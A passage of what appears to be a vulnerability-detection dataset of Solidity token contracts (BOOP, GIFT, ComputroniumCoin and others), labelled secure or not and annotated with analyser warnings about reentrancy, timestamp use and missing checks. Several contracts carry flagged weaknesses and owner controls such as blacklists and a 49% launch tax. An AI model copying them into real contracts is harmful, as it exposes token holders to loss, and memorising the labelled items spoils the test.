| ID: c183280\n\t\t// unused-return | ID: 19e899f\n\t\t// reentrancy-eth | ID: d356853\n IERC20(uniOPair).approve(address(uniORouter), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: c183280\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: d356853\n tradingOpen = true;\n }\n}", "file_name": "solidity_code_844.sol", "secure": 0, "size_bytes": 16484 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract Coin is Ownable, ERC20 {\n bool public limited;\n\n uint256 public maxHoldingAmount;\n\n uint256 public minHoldingAmount;\n\n address public uniswapV2Pair;\n\n mapping(address => bool) public blacklists;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4503f01): Coin.constructor(uint256)._totalSupply shadows ERC20._totalSupply (state variable)\n\t// Recommendation for 4503f01: Rename the local variables that shadow another component.\n constructor(uint256 _totalSupply) ERC20(\"leashdoge\", \"leashdoge\") {\n _mint(msg.sender, _totalSupply);\n }\n\n function setblacklistbot(\n address _address,\n bool _isBlacklisting\n ) external onlyOwner {\n blacklists[_address] = _isBlacklisting;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: afd3e4a): Coin.SetRule(bool,address,uint256,uint256) should emit an event for maxHoldingAmount = _maxHoldingAmount minHoldingAmount = _minHoldingAmount \n\t// Recommendation for afd3e4a: Emit an event for critical parameter changes.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 95f9f10): Coin.SetRule(bool,address,uint256,uint256)._uniswapV2Pair lacks a zerocheck on \t uniswapV2Pair = _uniswapV2Pair\n\t// Recommendation for 95f9f10: Check that the address is not zero.\n function SetRule(\n bool _limited,\n address _uniswapV2Pair,\n uint256 _maxHoldingAmount,\n uint256 _minHoldingAmount\n ) external onlyOwner {\n limited = _limited;\n\n\t\t// missing-zero-check | ID: 95f9f10\n uniswapV2Pair = _uniswapV2Pair;\n\n\t\t// events-maths | ID: afd3e4a\n maxHoldingAmount = _maxHoldingAmount;\n\n\t\t// events-maths | ID: afd3e4a\n minHoldingAmount = _minHoldingAmount;\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual override {\n require(!blacklists[to] && !blacklists[from], \"Blacklisted\");\n\n if (uniswapV2Pair == address(0)) {\n require(from == owner() || to == owner(), \"trading is not started\");\n\n return;\n }\n\n if (limited && from == uniswapV2Pair) {\n require(\n super.balanceOf(to) + amount <= maxHoldingAmount &&\n super.balanceOf(to) + amount >= minHoldingAmount,\n \"Forbid\"\n );\n }\n }\n\n function burn(uint256 value) external {\n _burn(msg.sender, value);\n }\n}", "file_name": "solidity_code_845.sol", "secure": 0, "size_bytes": 2733 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface ILayer2Bridge {\n function depositToLayer2(address user, uint256 amount) external;\n\n function withdrawFromLayer2(address user, uint256 amount) external;\n}", "file_name": "solidity_code_846.sol", "secure": 1, "size_bytes": 241 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./ILayer2Bridge.sol\" as ILayer2Bridge;\n\ncontract ComputroniumCoin is ERC20, Ownable {\n uint256 public constant INITIAL_SUPPLY = 1_000_000_000 * 10 ** 18;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 3d83efa): ComputroniumCoin.layer2Bridge should be immutable \n\t// Recommendation for 3d83efa: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n ILayer2Bridge public layer2Bridge;\n\n struct Stake {\n uint256 amount;\n uint256 startTime;\n }\n\n struct Proposal {\n uint256 id;\n string description;\n uint256 votesFor;\n uint256 votesAgainst;\n bool executed;\n address proposer;\n }\n\n struct TrainingSession {\n uint256 sessionId;\n address requester;\n uint256 tokensSpent;\n uint256 computationalPowerUsed;\n string modelDescription;\n bool completed;\n }\n\n struct DataTransaction {\n uint256 transactionId;\n address buyer;\n address seller;\n uint256 price;\n string dataDescription;\n bool completed;\n }\n\n struct ResourcePool {\n uint256 poolId;\n address[] contributors;\n mapping(address => uint256) contributions;\n uint256 totalTokens;\n bool active;\n }\n\n mapping(uint256 => Proposal) public proposals;\n\n uint256 public proposalCount;\n\n mapping(address => Stake) public stakes;\n\n mapping(address => uint256) public reputation;\n\n mapping(uint256 => TrainingSession) public trainingSessions;\n\n uint256 public trainingSessionCount;\n\n mapping(uint256 => DataTransaction) public dataTransactions;\n\n uint256 public dataTransactionCount;\n\n mapping(uint256 => ResourcePool) public resourcePools;\n\n\t// WARNING Optimization Issue (constable-states | ID: daf1ccf): ComputroniumCoin.resourcePoolCount should be constant \n\t// Recommendation for daf1ccf: Add the 'constant' attribute to state variables that never change.\n uint256 public resourcePoolCount;\n\n event Staked(address indexed user, uint256 amount);\n\n event Unstaked(address indexed user, uint256 amount);\n\n event DataPurchased(address indexed buyer, string dataDescription);\n\n event DepositedToLayer2(address indexed user, uint256 amount);\n\n event WithdrawnFromLayer2(address indexed user, uint256 amount);\n\n event ProposalCreated(\n uint256 proposalId,\n string description,\n address proposer\n );\n\n event Voted(uint256 proposalId, address voter, bool support, uint256 weight);\n\n event ProposalExecuted(uint256 proposalId, bool success);\n\n event TrainingSessionStarted(\n uint256 sessionId,\n address requester,\n uint256 tokensSpent,\n string modelDescription\n );\n\n event TrainingSessionCompleted(\n uint256 sessionId,\n uint256 computationalPowerUsed\n );\n\n event DataTransactionCreated(\n uint256 transactionId,\n address buyer,\n address seller,\n uint256 price,\n string dataDescription\n );\n\n event ResourcePoolCreated(\n uint256 poolId,\n address[] contributors,\n uint256 totalTokens\n );\n\n event ResourcePoolDistributed(uint256 poolId);\n\n constructor(\n address _layer2BridgeAddress\n ) ERC20(\"Computronium Coin\", \"CPTM\") {\n _mint(msg.sender, INITIAL_SUPPLY);\n\n layer2Bridge = ILayer2Bridge(_layer2BridgeAddress);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: a9c038d): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for a9c038d: Avoid relying on 'block.timestamp'.\n function stakeTokens(uint256 _amount) external {\n require(_amount > 0, \"Cannot stake zero tokens\");\n\n\t\t// timestamp | ID: a9c038d\n require(\n balanceOf(msg.sender) >= _amount,\n \"Insufficient balance to stake\"\n );\n\n\t\t// timestamp | ID: a9c038d\n require(stakes[msg.sender].amount == 0, \"Already staking\"); // Prevent multiple stakes\n\n _transfer(msg.sender, address(this), _amount);\n\n stakes[msg.sender] = Stake(_amount, block.timestamp);\n\n reputation[msg.sender] += _amount / 1e18;\n\n emit Staked(msg.sender, _amount);\n }\n\n function unstakeTokens() external {\n Stake storage userStake = stakes[msg.sender];\n\n require(userStake.amount > 0, \"No tokens staked\");\n\n uint256 stakedAmount = userStake.amount;\n\n uint256 stakingDuration = block.timestamp - userStake.startTime;\n\n uint256 reward = calculateReward(stakedAmount, stakingDuration);\n\n userStake.amount = 0;\n\n userStake.startTime = 0;\n\n _mint(msg.sender, reward);\n\n _transfer(address(this), msg.sender, stakedAmount);\n\n emit Unstaked(msg.sender, stakedAmount);\n }\n\n function calculateReward(\n uint256 _amount,\n uint256 _duration\n ) internal pure returns (uint256) {\n uint256 rewardRate = 10;\n\n return (_amount * rewardRate * _duration) / (365 days * 100);\n }\n\n function createProposal(string memory description) public {\n require(bytes(description).length > 0, \"Description cannot be empty\");\n\n proposals[proposalCount] = Proposal(\n proposalCount,\n description,\n 0,\n 0,\n false,\n msg.sender\n );\n\n emit ProposalCreated(proposalCount, description, msg.sender);\n\n proposalCount++;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 18c92ad): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 18c92ad: Avoid relying on 'block.timestamp'.\n function vote(uint256 proposalId, bool support) public {\n require(proposalId < proposalCount, \"Invalid proposal ID\");\n\n\t\t// timestamp | ID: 18c92ad\n require(balanceOf(msg.sender) > 0, \"Must hold tokens to vote\");\n\n Proposal storage proposal = proposals[proposalId];\n\n\t\t// timestamp | ID: 18c92ad\n require(!proposal.executed, \"Proposal already executed\");\n\n uint256 voteWeight = balanceOf(msg.sender);\n\n if (support) {\n proposal.votesFor += voteWeight;\n } else {\n proposal.votesAgainst += voteWeight;\n }\n\n emit Voted(proposalId, msg.sender, support, voteWeight);\n }\n\n function executeProposal(uint256 proposalId) public {\n require(proposalId < proposalCount, \"Invalid proposal ID\");\n\n Proposal storage proposal = proposals[proposalId];\n\n require(!proposal.executed, \"Proposal already executed\");\n\n require(proposal.votesFor > proposal.votesAgainst, \"Proposal rejected\");\n\n proposal.executed = true;\n\n emit ProposalExecuted(proposalId, true);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: fcbe29d): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for fcbe29d: Avoid relying on 'block.timestamp'.\n function startTrainingSession(\n string memory modelDescription,\n uint256 tokens\n ) external {\n require(tokens > 0, \"Tokens must be greater than zero\");\n\n\t\t// timestamp | ID: fcbe29d\n require(\n balanceOf(msg.sender) >= tokens,\n \"Insufficient balance to start training session\"\n );\n\n _transfer(msg.sender, address(this), tokens);\n\n trainingSessions[trainingSessionCount] = TrainingSession({\n sessionId: trainingSessionCount,\n requester: msg.sender,\n tokensSpent: tokens,\n computationalPowerUsed: 0,\n modelDescription: modelDescription,\n completed: false\n });\n\n emit TrainingSessionStarted(\n trainingSessionCount,\n msg.sender,\n tokens,\n modelDescription\n );\n\n trainingSessionCount++;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: a6d7ccd): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for a6d7ccd: Avoid relying on 'block.timestamp'.\n function createDataTransaction(\n address seller,\n uint256 price,\n string memory dataDescription\n ) external {\n require(price > 0, \"Price must be greater than zero\");\n\n\t\t// timestamp | ID: a6d7ccd\n require(\n balanceOf(msg.sender) >= price,\n \"Insufficient balance to purchase data\"\n );\n\n _transfer(msg.sender, seller, price);\n\n dataTransactions[dataTransactionCount] = DataTransaction({\n transactionId: dataTransactionCount,\n buyer: msg.sender,\n seller: seller,\n price: price,\n dataDescription: dataDescription,\n completed: true\n });\n\n emit DataTransactionCreated(\n dataTransactionCount,\n msg.sender,\n seller,\n price,\n dataDescription\n );\n\n dataTransactionCount++;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 2f85d9b): ComputroniumCoin.burnTokens(uint256) uses timestamp for comparisons Dangerous comparisons require(bool,string)(balanceOf(msg.sender) >= _amount,Insufficient balance to burn tokens)\n\t// Recommendation for 2f85d9b: Avoid relying on 'block.timestamp'.\n function burnTokens(uint256 _amount) external {\n\t\t// timestamp | ID: 2f85d9b\n require(\n balanceOf(msg.sender) >= _amount,\n \"Insufficient balance to burn tokens\"\n );\n\n _burn(msg.sender, _amount);\n }\n}", "file_name": "solidity_code_847.sol", "secure": 0, "size_bytes": 10153 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract BOOP is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balance;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFeeWallet;\n\n mapping(address => bool) private _isExcludedFromMaxTxFee;\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _totalSupply = 100000000 * 10 ** _decimals;\n\n uint256 private constant onePercent = 1000000 * 10 ** _decimals;\n\n uint256 public maxWalletAmount = onePercent * 2;\n\n uint256 private _tax;\n\n\t// WARNING Optimization Issue (constable-states | ID: 580c973): BOOP.buyTax should be constant \n\t// Recommendation for 580c973: Add the 'constant' attribute to state variables that never change.\n uint256 public buyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 21b1dc5): BOOP.sellTax should be constant \n\t// Recommendation for 21b1dc5: Add the 'constant' attribute to state variables that never change.\n uint256 public sellTax = 1;\n\n string private constant _name = \"Book of Pets\";\n\n string private constant _symbol = \"BOOP\";\n\n\t// WARNING Optimization Issue (immutable-states | ID: 3526010): BOOP.uniswapV2Router should be immutable \n\t// Recommendation for 3526010: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n address public uniswapV2Pair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a39f863): BOOP._zipperTaxFees should be immutable \n\t// Recommendation for a39f863: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable public _zipperTaxFees;\n\n uint256 private launchedAt;\n\n uint256 private launchDelay = 1;\n\n bool private launch = false;\n\n uint256 private constant minSwap = onePercent / 250000;\n\n bool private inSwapAndLiquify;\n\n modifier lockTheSwap() {\n inSwapAndLiquify = true;\n\n _;\n\n inSwapAndLiquify = false;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: aea51c7): BOOP.constructor(address).taxAddress lacks a zerocheck on \t _zipperTaxFees = address(taxAddress)\n\t// Recommendation for aea51c7: Check that the address is not zero.\n constructor(address taxAddress) {\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n\t\t// missing-zero-check | ID: aea51c7\n _zipperTaxFees = payable(taxAddress);\n\n _isExcludedFromFeeWallet[msg.sender] = true;\n\n _isExcludedFromFeeWallet[_zipperTaxFees] = true;\n\n _isExcludedFromFeeWallet[address(this)] = true;\n\n _isExcludedFromMaxTxFee[_zipperTaxFees] = true;\n\n _allowances[_zipperTaxFees][address(uniswapV2Router)] = _totalSupply;\n\n _balance[msg.sender] = _totalSupply;\n\n emit Transfer(address(0), address(msg.sender), _totalSupply);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balance[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8283a05): BOOP.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 8283a05: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 6b40016): BOOP.newDelay(uint256) should emit an event for launchDelay = newLaunchDelay \n\t// Recommendation for 6b40016: Emit an event for critical parameter changes.\n function newDelay(uint256 newLaunchDelay) external onlyOwner {\n\t\t// events-maths | ID: 6b40016\n launchDelay = newLaunchDelay;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6e64f70): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6e64f70: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 19843e8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 19843e8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 6e64f70\n\t\t// reentrancy-benign | ID: 19843e8\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 6e64f70\n\t\t// reentrancy-benign | ID: 19843e8\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(amount, \"low allowance\")\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ecfa7e3): BOOP._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for ecfa7e3: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(\n owner != address(0) && spender != address(0),\n \"approve zero address\"\n );\n\n\t\t// reentrancy-benign | ID: 19843e8\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 6e64f70\n emit Approval(owner, spender, amount);\n }\n\n function enableTrading() external onlyOwner {\n launch = true;\n\n launchedAt = block.number;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6ef7d4a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6ef7d4a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 06276ab): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 06276ab: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 9f8dd63): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 9f8dd63: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"transfer zero address\");\n\n if (_isExcludedFromFeeWallet[from] || _isExcludedFromFeeWallet[to]) {\n _tax = 0;\n } else {\n require(launch, \"Wait till launch\");\n\n if (block.number < launchedAt + launchDelay) {\n _tax = 49;\n } else {\n if (from == uniswapV2Pair) {\n require(\n balanceOf(to) + amount <= maxWalletAmount,\n \"Max wallet 2% at launch\"\n );\n\n _tax = buyTax;\n } else if (to == uniswapV2Pair) {\n uint256 tokensToSwap = balanceOf(address(this));\n\n if (tokensToSwap > minSwap && !inSwapAndLiquify) {\n if (tokensToSwap > onePercent) {\n tokensToSwap = onePercent;\n }\n\n\t\t\t\t\t\t// reentrancy-events | ID: 6ef7d4a\n\t\t\t\t\t\t// reentrancy-benign | ID: 06276ab\n\t\t\t\t\t\t// reentrancy-no-eth | ID: 9f8dd63\n swapTokensForEth(tokensToSwap);\n }\n\n\t\t\t\t\t// reentrancy-benign | ID: 06276ab\n _tax = sellTax;\n } else {\n _tax = 0;\n }\n }\n }\n\n if (!_isExcludedFromMaxTxFee[from]) {\n uint256 taxTokens = (amount * _tax) / 100;\n\n uint256 transferAmount = amount - taxTokens;\n\n\t\t\t// reentrancy-no-eth | ID: 9f8dd63\n _balance[from] = _balance[from] - amount;\n\n\t\t\t// reentrancy-no-eth | ID: 9f8dd63\n _balance[to] = _balance[to] + transferAmount;\n\n\t\t\t// reentrancy-no-eth | ID: 9f8dd63\n _balance[address(this)] = _balance[address(this)] + taxTokens;\n\n\t\t\t// reentrancy-events | ID: 6ef7d4a\n emit Transfer(from, to, transferAmount);\n } else {\n uint256 taxTokens = (amount * _tax) / 100;\n\n uint256 transferAmount = amount - taxTokens;\n\n\t\t\t// reentrancy-no-eth | ID: 9f8dd63\n _balance[to] = _balance[to] + transferAmount;\n\n\t\t\t// reentrancy-events | ID: 6ef7d4a\n emit Transfer(from, to, transferAmount);\n }\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 6e64f70\n\t\t// reentrancy-events | ID: 6ef7d4a\n\t\t// reentrancy-benign | ID: 19843e8\n\t\t// reentrancy-benign | ID: 06276ab\n\t\t// reentrancy-no-eth | ID: 9f8dd63\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n _zipperTaxFees,\n block.timestamp\n );\n }\n\n function withdrawStuckEthBalance() external onlyOwner {\n require(address(this).balance > 0, \"No Balance to withdraw!\");\n\n payable(msg.sender).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 1080a9d): BOOP.createBoopPairs() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 1080a9d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 7b7da52): BOOP.createBoopPairs() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 7b7da52: Ensure that all the return values of the function calls are used.\n function createBoopPairs() external onlyOwner {\n require(!launch, \"Trading already opened!\");\n\n _approve(address(this), address(uniswapV2Router), _totalSupply);\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// unused-return | ID: 1080a9d\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: 7b7da52\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n }\n\n function removeLimits() external onlyOwner {\n maxWalletAmount = _totalSupply;\n }\n\n receive() external payable {}\n}", "file_name": "solidity_code_848.sol", "secure": 0, "size_bytes": 13331 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract GIFT is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 7d160d0): GIFT._taxWallet should be immutable \n\t// Recommendation for 7d160d0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: b50adc8): GIFT._initialBuyTax should be constant \n\t// Recommendation for b50adc8: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7b25cf8): GIFT._initialSellTax should be constant \n\t// Recommendation for 7b25cf8: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 16c549a): GIFT._reduceBuyTaxAt should be constant \n\t// Recommendation for 16c549a: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 475b6a0): GIFT._reduceSellTaxAt should be constant \n\t// Recommendation for 475b6a0: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9b4a0b5): GIFT._preventSwapBefore should be constant \n\t// Recommendation for 9b4a0b5: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 25;\n\n uint256 private _transferTax = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Greater Internet Fuckwad Theory\";\n\n string private constant _symbol = unicode\"GIFT\";\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e543b6c): GIFT._taxSwapThreshold should be constant \n\t// Recommendation for e543b6c: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8f788c6): GIFT._maxTaxSwap should be constant \n\t// Recommendation for 8f788c6: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n event TransferTaxUpdated(uint256 _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7f7c64b): GIFT.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7f7c64b: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9bcb9f7): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9bcb9f7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 6270706): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 6270706: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 9bcb9f7\n\t\t// reentrancy-benign | ID: 6270706\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 9bcb9f7\n\t\t// reentrancy-benign | ID: 6270706\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cc12ec5): GIFT._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for cc12ec5: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 6270706\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 9bcb9f7\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 07bc5bc): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 07bc5bc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 20cc254): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// 